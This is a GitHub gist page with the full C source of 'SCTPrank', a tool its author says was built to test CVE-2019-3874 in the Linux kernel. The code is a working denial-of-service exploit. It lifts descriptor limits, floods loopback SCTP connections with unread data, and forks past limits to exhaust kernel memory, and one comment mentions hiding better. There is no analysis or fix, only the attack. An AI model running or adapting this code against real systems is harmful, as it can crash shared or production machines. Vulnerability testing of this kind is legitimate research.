Skip to content

Instantly share code, notes, and snippets.

@teknoraver
Last active November 6, 2019 09:28
Show Gist options
  • Save teknoraver/d59fd64f82873662a4e74d9c82e0a192 to your computer and use it in GitHub Desktop.
Save teknoraver/d59fd64f82873662a4e74d9c82e0a192 to your computer and use it in GitHub Desktop.
[CVE-2019-3874] a tool to fill the kernel memory using SCTP network buffers
/*
* SCTPrank - a tool to fill the kernel memory using SCTP network buffers
* its main purpose was to test CVE-2019-3874
* Copyright (C) 2019 Matteo Croce <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/resource.h>
#include <netinet/in.h>
#define PORT 61898
static void restart()
{
if (fork()) {
/* idle forever */
while (1)
sleep(60);
} else {
/* close inherited sockets up to _SC_OPEN_MAX */
int i;
for (i = sysconf(_SC_OPEN_MAX) - 1; i > 3 ; i--)
close(i);
}
}
static void server(void)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(PORT),
};
int sock;
int pid;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (sock == -1)
exit(1);
setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, NULL, 0);
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
close(sock);
perror("bind");
exit(1);
}
if (listen(sock, 100) < 0) {
perror("listen");
exit(1);
}
pid = fork();
if (pid == -1) {
perror("fork");
exit(1);
}
if (pid) {
close(sock);
return;
}
/* accept every connection without read anything */
while(1)
if (accept(sock, NULL, NULL) == -1) {
/* real error */
if (errno != EMFILE)
return;
/* max FD limit reached, fork and restart */
restart();
continue;
}
}
/* save RAM, hide better */
static char buf[(1 << 16) - (1 << 12)];
static void client(void)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(PORT),
};
int sock;
while (1) {
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (sock == -1) {
/* real error */
if (errno != EMFILE)
return;
/* max FD limit reached, fork and restart */
restart();
continue;
}
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
/* port limit reached, wait forever.. */
if (errno == EAGAIN)
while (1)
sleep(60);
close(sock);
return;
}
/* set SOCK_NONBLOCK otherwise we will block when the queue is full */
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL, 0) | SOCK_NONBLOCK);
/* write random data until the socket will block */
while (send(sock, buf, sizeof(buf), 0) == sizeof(buf));
}
}
int main(int argc, char *argv[])
{
int nr_open;
/* read the maximum allowed value for RLIMIT_NOFILE */
if ((nr_open = open("/proc/sys/fs/nr_open", O_RDONLY))) {
char buf[sizeof("2147483584") + 1] = {0};
if (read(nr_open, buf, sizeof(buf)) > 0) {
struct rlimit unlimfds = {
atoi(buf), atoi(buf),
};
/* try to set hard and soft limit */
setrlimit(RLIMIT_NOFILE, &unlimfds);
}
close(nr_open);
}
server();
client();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment